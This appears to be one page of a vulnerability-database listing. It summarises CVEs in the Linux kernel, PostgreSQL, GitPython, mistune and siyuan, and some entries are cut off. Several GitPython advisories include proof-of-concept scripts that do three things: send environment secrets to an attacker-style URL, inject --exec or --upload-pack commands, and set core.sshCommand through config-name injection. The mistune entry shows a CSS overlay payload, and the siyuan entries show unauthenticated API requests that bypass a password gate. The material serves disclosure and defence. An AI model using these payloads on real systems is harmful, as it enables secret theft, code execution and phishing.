Search: nothing.this
193 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Critical | 9.8 | EPSS 0.7% | Critical9.8EPSS 0.7%GCVE DatabaseCVE-2026-72466 In the Linux kernel, the following vulnerability has been resolved: xprtrdma: Fix bcall rep leak and unbounded peek rpcrdma_is_bcall() decodes a reply's first words to decide whether the frame is a backchannel call. Two issues in that decode path let a short or malformed reply leak the receive buffer and drain the Receive queue. First, the speculative peek p = xdr_inline_decode(xdr, 0); /* five p++ reads follow */ asks xdr_inline_decode() for zero bytes, which returns xdr->p without consulting xdr->end. The five subsequent __be32 reads can then walk up to 20 bytes past the wire payload into stale regbuf contents and misclassify the reply as a backchannel call. Second, after the post-peek p = xdr_inline_decode(xdr, 3 * sizeof(*p)); if (unlikely(!p)) return true; the short-header arm returns true without calling rpcrdma_bc_receive_call(). The contract with the caller is that a true return transfers ownership of rep to the backchannel path: rpcrdma_reply_handler() if (rpcrdma_is_bcall(r_xprt, rep)) return; /* bare return, skips out_post */ ... out_post: rpcrdma_post_recvs(r_xprt, credits + ...); Because rpcrdma_bc_receive_call() never ran, no one took rep, but rpcrdma_reply_handler still bare-returns past rpcrdma_rep_put() and rpcrdma_post_recvs(). The rep, with its persistently DMA-mapped receive buffer, is orphaned on rb_all_reps and freed only at transport teardown. This completion reposts nothing, so its slot is reclaimed only when a later forward-channel reply reaches out_post and rpcrdma_post_recvs() allocates a fresh rep to backfill; absent that traffic the Receive queue drains and the peer's Sends draw RNR NAKs. Fix by consulting xdr->end after the zero-length peek so the five __be32 reads cannot run unless 20 bytes of wire payload remain. A byte-precise comparison against xdr->end is required because a non-4-aligned receive rounds the stream's word count up past the true payload. Also return false from the short-header arm so the reply falls through the normal out_norqst cleanup chain (rpcrdma_rep_put() plus rpcrdma_post_recvs()). EPSS 0.7%Vulnerability | GCVE Database | ||
| High | 7.5 | EPSS 0.6% | High7.5EPSS 0.6%GCVE DatabaseCVE-2026-72330 In the Linux kernel, the following vulnerability has been resolved: net/tls: Consume empty data records in tls_sw_read_sock() A peer may send a zero-length TLS application_data record; TLS 1.3 explicitly permits these as a traffic-analysis countermeasure (RFC 8446, Section 5.1). After decryption such a record has full_len == 0. tls_sw_read_sock() hands it to the read_actor, which has no payload to consume and returns zero. The loop treats a zero return as backpressure (used <= 0), requeues the skb at the head of rx_list, and stops. rx_list is serviced head-first on the next call, so the empty record is dequeued, fails the same way, and is requeued again; every later record on the connection is blocked behind it. tls_sw_recvmsg() does not stall on this: a zero-length data record copies nothing and falls through to consume_skb(). Mirror that in the read_sock() path by recognizing an empty data record before the actor runs, consuming it, and continuing. EPSS 0.6%Vulnerability | GCVE Database | ||
| High | 7.8 | EPSS 0.2% | High7.8EPSS 0.2%GCVE DatabaseCVE-2026-72282 In the Linux kernel, the following vulnerability has been resolved: KVM: Move kvm_io_bus_get_dev() locking responsibilities to callers kvm_io_bus_get_dev() returns a device that is only matched by the address, and nothing else. This can cause a lifetime issue if the matched device is not the expected type, as by the time the caller can introspect the object, it might be gone (the srcu lock having been dropped). Given that there is only a single user of this helper, the simplest option is to move the locking responsibility to the caller, which can keep the srcu lock held for as long as it wants. Note that this aligns with other kvm_io_bus*() helpers, which already require the srcu lock to be held by the callers. EPSS 0.2%Vulnerability | GCVE Database | ||
| Critical | 9.8 | EPSS 0.6% | Critical9.8EPSS 0.6%GCVE DatabaseCVE-2026-72220 In the Linux kernel, the following vulnerability has been resolved: sunrpc: harden rq_procinfo lifecycle to prevent double-free The svc_release_rqst() function executes the callback inside rqstp->rq_procinfo->pc_release. However, if a worker thread begins processing a new request and encounters an early error path (e.g., unsupported protocol, short frame, or bad auth) before a valid rq_procinfo is installed, a stale release hook can be re-triggered against reused state from the previous RPC, resulting in a double-free or use-after-free vulnerability. Harden the lifecycle of rq_procinfo by: 1. Ensuring svc_release_rqst() always clears rq_procinfo after the optional pc_release() call, regardless of whether the hook exists. 2. Explicitly clearing rq_procinfo at request entry in svc_process() before any early decode or drop paths. 3. Ensuring svc_process_bc() does the same at backchannel entry. This guarantees that error flows will not encounter a non-NULL stale rq_procinfo pointer when there is nothing to release. EPSS 0.6%Vulnerability | GCVE Database | ||
| High | 7.8 | EPSS 0.2% | CVE-2026-72170Linux kernel · 9p: skip nlink update in cacheless mode to fix WARN_ON v9fs_dec_count() High7.8EPSS 0.2%GCVE DatabaseCVE-2026-72170 In the Linux kernel, the following vulnerability has been resolved: 9p: skip nlink update in cacheless mode to fix WARN_ON v9fs_dec_count() unconditionally calls drop_nlink() on regular files, even when the inode's nlink is already zero. In cacheless mode the client refetches inode metadata from the server (the source of truth) on every operation, so by the time v9fs_remove() returns, the locally cached nlink may already reflect the post-unlink value: 1. Client initiates unlink, server processes it and sets nlink to 0 2. Client refetches inode metadata (nlink=0) before unlink returns 3. Client's v9fs_remove() completes successfully 4. Client calls v9fs_dec_count() which calls drop_nlink() on nlink=0 This race is easily triggered under heavy unlink workloads, such as stress-ng's unlink stressor, producing the following warning: WARNING: fs/inode.c:417 at drop_nlink+0x4c/0xc8 Call trace: drop_nlink+0x4c/0xc8 v9fs_remove+0x1e0/0x250 [9p] v9fs_vfs_unlink+0x20/0x38 [9p] vfs_unlink+0x13c/0x258 ... In cacheless mode the server is authoritative and the inode is on its way out, so locally adjusting nlink buys nothing. Skip v9fs_dec_count() entirely when neither CACHE_META nor CACHE_LOOSE is set, which both avoids the warning and removes a class of nlink races (two concurrent unlinkers observing nlink > 0 and both calling drop_nlink()) that an nlink == 0 guard alone would only narrow rather than close. EPSS 0.2%Vulnerability | GCVE Database | ||
| Medium | – | EPSS 0.2% | MediumEPSS 0.2%GCVE DatabaseCVE-2026-72161 In the Linux kernel, the following vulnerability has been resolved: ocfs2: add journal NULL check in ocfs2_checkpoint_inode() During unmount, ocfs2_journal_shutdown() frees the journal and sets osb->journal to NULL. Later, when VFS evicts remaining cached inodes, ocfs2_evict_inode() -> ocfs2_clear_inode() -> ocfs2_checkpoint_inode() -> ocfs2_ci_fully_checkpointed() dereferences osb->journal, causing a NULL pointer dereference. Fix this by adding a NULL check for osb->journal in ocfs2_checkpoint_inode(). If the journal is NULL, it has already been fully flushed and destroyed during shutdown, so there is nothing to checkpoint. EPSS 0.2%Vulnerability | GCVE Database | ||
| Medium | – | EPSS 0.2% | CVE-2026-72086Linux kernel · scsi: xen: scsiback: Free the command tag on the TMR submit-failure path MediumEPSS 0.2%GCVE DatabaseCVE-2026-72086 In the Linux kernel, the following vulnerability has been resolved: scsi: xen: scsiback: Free the command tag on the TMR submit-failure path scsiback_device_action() obtains a command tag in scsiback_get_pend_req() and submits a task-management request with target_submit_tmr(). When target_submit_tmr() fails it returns < 0 and scsiback jumps to the err: label, which sends a response but frees nothing, leaking the tag. Impact: a pvSCSI guest can leak the command tags of a LUN's session, stopping the LUN, by issuing VSCSIIF_ACT_SCSI_ABORT or RESET requests whenever target_submit_tmr() fails. transport_generic_free_cmd() cannot be used here. By the time target_submit_tmr() returns an error it has already run __target_init_cmd() (so se_cmd->cmd_kref is one, not zero), and on its target_get_sess_cmd() error path it has freed se_cmd->se_tmr_req via core_tmr_release_req() while leaving SCF_SCSI_TMR_CDB set and the pointer dangling. Letting the command release run target_free_cmd_mem() would then double-free se_tmr_req. Use the same helper, which returns just the tag, on this path too. EPSS 0.2%Vulnerability | GCVE Database | ||
| High | 8.7 | EPSS 0.5% | CVE-2026-73622snowflake-cli · GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of High8.7EPSS 0.5%GCVE DatabaseCVE-2026-73622 ## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) # Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL # Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() # Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/ | GCVE Database | ||
| High | 8.6 | EPSS 1.3% | High8.6EPSS 1.3%GCVE DatabaseCVE-2026-67323 ## Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples ## Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after ## PoC Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here). ``` pip install GitPython # 3.1.50 ``` Common setup for the three: ```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ``` 1. exec via archive (a service exports a repo and forwards the user's options dict): ```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 2. exec via ls_remote: ```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 3. file clobber via a rev that looks like a ref: ```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ``` | GCVE Database | ||
| High | 7.3 | EPSS 0.3% | CVE-2026-69097GitPython · git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) High7.3EPSS 0.3%GCVE DatabaseCVE-2026-69097 ### Summary In GitPython `<= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ "` closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository's `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim's next git operation. Likely **CWE-74 (Injection)**. This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\n\x00]` guard added for them does not stop a **same-line** section break inside a name. ### Details The only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL: `git/config.py:75,897-899` (`GitPython 3.1.52`): ```python UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]") ... def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None: if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name): raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label) ``` The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`: `git/config.py:693`: ```python fp.write(("[%s]\n" % name).encode(defenc)) ``` For submodules the name is wrapped as `submodule "<name>"` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named: ``` x"] [core] sshCommand=CMD # ``` therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires. The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`: - `Repo.create_submodule(name=<untrusted>, ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required. - `Repo.clone_from(<hostile url>)` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`. Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard. ### PoC Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed. ```python #!/usr/bin/env python3 """Minimal PoC: git-config section-name injection in GitPython==3.1.52.""" from importlib.metadata import version import os, tempfile, subprocess import git print(f"# GitPython {version('GitPython')}") # version proof -- first line MARKER = "MARKER_9f3a" # inert; never executed tmp = tempfile.mkdtemp() env = {**os.environ, "HOME": tmp, "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c", "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"} def run(*a, cwd=None): return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True) # A benign local repo used as the submodule url (a plain path, no network). src = os.path.join(tmp, "src"); os.makedirs(src) run("git", "init", "-q", src) open(os.path.join(src, "f"), "w").write("x") run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src) suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl) def parent_repo(): p = tempfile.mkdtemp(dir=tmp) run("git", "init", "-q", p) open(os.path.join(p, "r"), "w").write("x") run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p) return p def injected_sshcommand(parent): r = run("git", "config", "-f", os.path.join(parent, ".git", "config"), "--get", "core.sshCommand") return (r.returncode, r.stdout.strip()) benign = "docs" evil = f'x"] [core] sshCommand={MARKER} #' # closes the header, opens [core] p_control = parent_repo() git.Repo(p_co | GCVE Database | ||
| Medium | 4.7 | EPSS 0.2% | Medium4.7EPSS 0.2%GCVE DatabaseCVE-2026-44899 ## Summary The Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r"^\d+(?:\.\d*)?")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows. When the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style="width:...;"` or `style="height:...;"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping. An attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks. ## Details **File:** `src/mistune/directives/image.py` ```python _num_re = re.compile(r"^\d+(?:\.\d*)?") # no $ anchor — prefix match only def _parse_attrs(options): height = options.get("height") width = options.get("width") if height and _num_re.match(height): # passes if value STARTS with a digit attrs["height"] = height # full value stored, not just digits if width and _num_re.match(width): # same — prefix-only check attrs["width"] = width ``` And in `render_block_image()`: ```python if width: if width.isdigit(): img += ' width="' + width + '"' # safe: integer → HTML attribute else: style += "width:" + width + ";" # UNSAFE: non-integer → raw style value ``` The `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified. ## PoC **Step 1 — Establish the baseline (safe plain-integer dimensions)** The script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`: ```python md = create_markdown(escape=True, plugins=[FencedDirective([Image()])]) bl_src = ( "```{image} photo.jpg\n" ":width: 400\n" ":height: 300\n" ":alt: safe image\n" "```\n" ) bl_out = str(md(bl_src)) ``` Expected and actual output — clean `width=` and `height=` HTML attributes, no `style=`: ```html <div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div> ``` **Step 2 — Understand why non-integer widths go into `style=`** When `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += "width:" + width + ";"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through. **Step 3 — Craft the exploit payload** Provide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it: ``` :width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 ``` - `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width - `;height:100vh` — overrides height to full viewport height - `;position:fixed` — lifts element out of document flow, fixed to the browser viewport - `;top:0;left:0` — anchors overlay to the top-left corner - `;z-index:9999` — places it above all other page content - `;background-color:#e11d48` — fills the overlay with vivid crimson - `;outline:8px solid #facc15` — adds a bright yellow border - `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity Full exploit markdown: ``` ```{image} x.jpg :width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 :alt: ⚠ CSS INJECTED — click to dismiss ⚠ ``` ``` **Step 4 — Observe the injected `style=` in the output** ```python ex_src = ( "```{image} x.jpg\n" ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;" "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n" ":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n" "```\n" ) ex_out = str(md(ex_src)) ``` Actual output: ```html <div class="block-image"><img src="x.jpg" alt="⚠ CSS INJECTED — click to dismiss ⚠" style="width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;" /></div> ``` Every injected CSS property is present in the `style=` attribute. When a | GCVE Database | ||
| Low | 3.8 | EPSS 0.3% | CVE-2026-6469PostgreSQL · Incorrect Ownership Assignment Low3.8EPSS 0.3%CVE Database V5CVE-2026-6469 Incorrect ownership assignment in PostgreSQL ALTER TABLE ALTER TYPE command reassigns ownership of dependent statistics objects to the current user. This wrongly allows the table owner to run DROP STATISTICS and ALTER STATISTICS via this improper ownership. It wrongly denies those commands to the prior statistics object owner. DROP TABLE remains able to remove statistics objects, so this exploit achieves nothing in many ownership arrangements. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | CVE Database V5 | ||
| Medium | 6.9 | EPSS 0.4% | CVE-2026-72806siyuan · Missing Authorization Medium6.9EPSS 0.4%CVE Database V5CVE-2026-72806 **CVE:** This vulnerability corresponds to [CVE-2026-72806](https://nvd.nist.gov/vuln/detail/CVE-2026-72806). ### Summary `FilterViewByPublishAccess`, the filter `renderAttributeView` applies for Reader sessions drops rows using only the hidden/forbidden check and never checks the publish password. Its three sibling filters all check both tiers. As a result, a publish `RoleReader` (or the anonymous account when `Publish.Auth.Enable` is `false`) who has not entered a document's password still receives every database/attribute-view row bound to that password-protected document, the primary cell (title/ID) and all column values. ### Details `FilterViewByPublishAccess` (`model/publish_access.go:290`) drops rows on the hidden/forbidden tier only: ```go // Table (line 311), Gallery (348), Kanban (385), all identical: if !CheckPathAccessableByPublishIgnore(bt.BoxID, bt.Path, publishIgnore) { row = nil // hidden/forbidden dropped, but password NEVER checked } ``` The three sibling filters all check both the hidden/forbidden tier and the password tier (`password == "" || CheckPublishAuthCookie(...)`): - `FilterBlockAttributeViewKeysByPublishAccess` (line 412) - `FilterBlockInfoByPublishAccess` (line 457) - `FilterContentByPublishAccess` (line 474) So the password (protected) tier is enforced everywhere except this AV/database-view filter. Table layout masks nothing; Gallery and Kanban mask only the cover, keeping the card and its non-cover values. Reachable via `renderAttributeView`, `getAttributeViewKeys`, and `renderSnapshotAttributeView`, all `CheckAuth`-only. ### Proof of Concept Reproduced on a live instance (publish mode on 6808, anonymous Reader, no password cookie), against a password-protected document with a database/AV row. | Check | Path | Result | |---|---|---| | Control | `getDoc(secretDoc)` | 🔒 placeholder, body withheld password gate works normally | | Test | `renderAttributeView(AV)` | row leaked : `blockID=…rk7jofz`, title `secret-db-row` | | Differential (`disable=true`) | same filter | 0 rows : hidden tier correctly enforced | | Differential (password set) | same filter | 1 row : password tier bypassed | Same filter, same document, same Reader: the hidden tier drops the row, the password tier leaks it isolating the omission. ### Impact An anonymous/Reader publish user who has not supplied a protected document's password receives all attribute-view/database rows bound to that document titles, block IDs, and column values defeating the publish-password control for database views. Confidentiality-only. The hidden/forbidden tier is unaffected (correctly enforced). ### Suggested fix Add the password check to the drop condition in all three layout branches (Table, Gallery, Kanban), mirroring the sibling filters: ```go if !CheckPathAccessableByPublishIgnore(...) || !(password == "" || CheckPublishAuthCookie(c, passwordID, password)) { row = nil } ``` | CVE Database V5 | ||
| Critical | 9.2 | EPSS 0.4% | CVE-2026-72804siyuan · Information Exposure Critical9.2EPSS 0.4%CVE Database V5CVE-2026-72804 **CVE:** This vulnerability corresponds to [CVE-2026-72804](https://nvd.nist.gov/vuln/detail/CVE-2026-72804). ### Summary `getGraph` and `getLocalGraph` filter reader sessions against the *visibility* tier only and never check the publish password. Password-protected documents are `Visible = true`, so their graph nodes survive the filter and graph nodes are block-level and carry the block's actual content. An anonymous reader who has never supplied a document's password can therefore retrieve that document's per-block content and its reference/backlink topology. Both endpoints are `CheckAuth`-only, so they are reachable by the publish `RoleReader` token and by the anonymous account when `Publish.Auth.Enable` is `false`. ### Details Both handlers filter with the invisible-tier set only: ```go publishIgnore := model.GetInvisiblePublishAccess(publishAccess) // Visible tier ONLY nodes, links = model.FilterGraphByPublishIgnore(publishIgnore, nodes, links) ``` `FilterGraphByPublishIgnore` (`kernel/model/publish_access.go:849`) drops a node only when `!CheckPathAccessableByPublishIgnore(node.Box, node.Path, publishIgnore)`. There is no password evaluation anywhere in the graph code grepping `graph.go` for `CheckPublishAuthCookie` or `password` returns nothing. Because password-protected documents are `Visible = true`, their nodes pass the filter unchanged. **The nodes carry content, not just titles.** `genTreeNodes` emits one node per block, and `nodeTitleLabel` sets `node.Title = node.Label = block.Content` (`kernel/model/graph.go:673-678`). So each surviving node exposes the block's text. This is materially broader than the by-design listing behaviour: `listDocsByPath` intentionally exposes protected document *titles* (protected means "publicly visible, password required to access"), but the graph endpoints expose per-block *content* and the full link/reference topology, which listing never does. Verified at `origin/master`: `FilterGraphByPublishIgnore` contains only the `CheckPathAccessableByPublishIgnore` call; `graph.go` contains no password check; both routes are registered `CheckAuth` without `CheckAdminRole`. ### Proof of Concept Precondition: publish mode enabled (default port 6808); anonymous when `Publish.Auth.Enable` is `false`, otherwise any publish reader account. A document is marked **protected** (visible, password set) and contains blocks with distinctive content. No password is supplied in any request below. **Targeted: one protected document's content and reference structure:** ``` POST http://127.0.0.1:6808/api/graph/getLocalGraph {"id":"<PROTECTED_DOC_ID>"} ``` Returns nodes whose `Title`/`Label` contain the protected document's per-block content, plus its links/backlinks. **Workspace-wide: every protected document:** ``` POST http://127.0.0.1:6808/api/graph/getGraph {} ``` Returns block-level nodes for every protected document in the workspace, together with the complete link graph. **Control:** requesting the same document through the normal content path returns the password placeholder confirming the password gate is enforced elsewhere and omitted here. ### Impact An anonymous reader (publish mode with auth disabled) or any publish `RoleReader` can read the block-level content of every password-protected document in the workspace, plus the full reference/backlink topology, without ever supplying a password. This defeats the publish-password control for the graph subsystem. Confidentiality-only, no modification. ### Suggested fix Extend the graph filter to evaluate the password tier in addition to visibility: in `FilterGraphByPublishIgnore`, drop a node unless the document's publish password is unset or the caller presents a valid publish-auth cookie for it (`password == "" || CheckPublishAuthCookie(...)`), matching the sibling filters that enforce both tiers. Consider also excluding block content from node `Title`/`Label` for reader sessions, so the graph conveys structure without document text. | CVE Database V5 |
Page 7 of 12 · 6 duplicate CVE records merged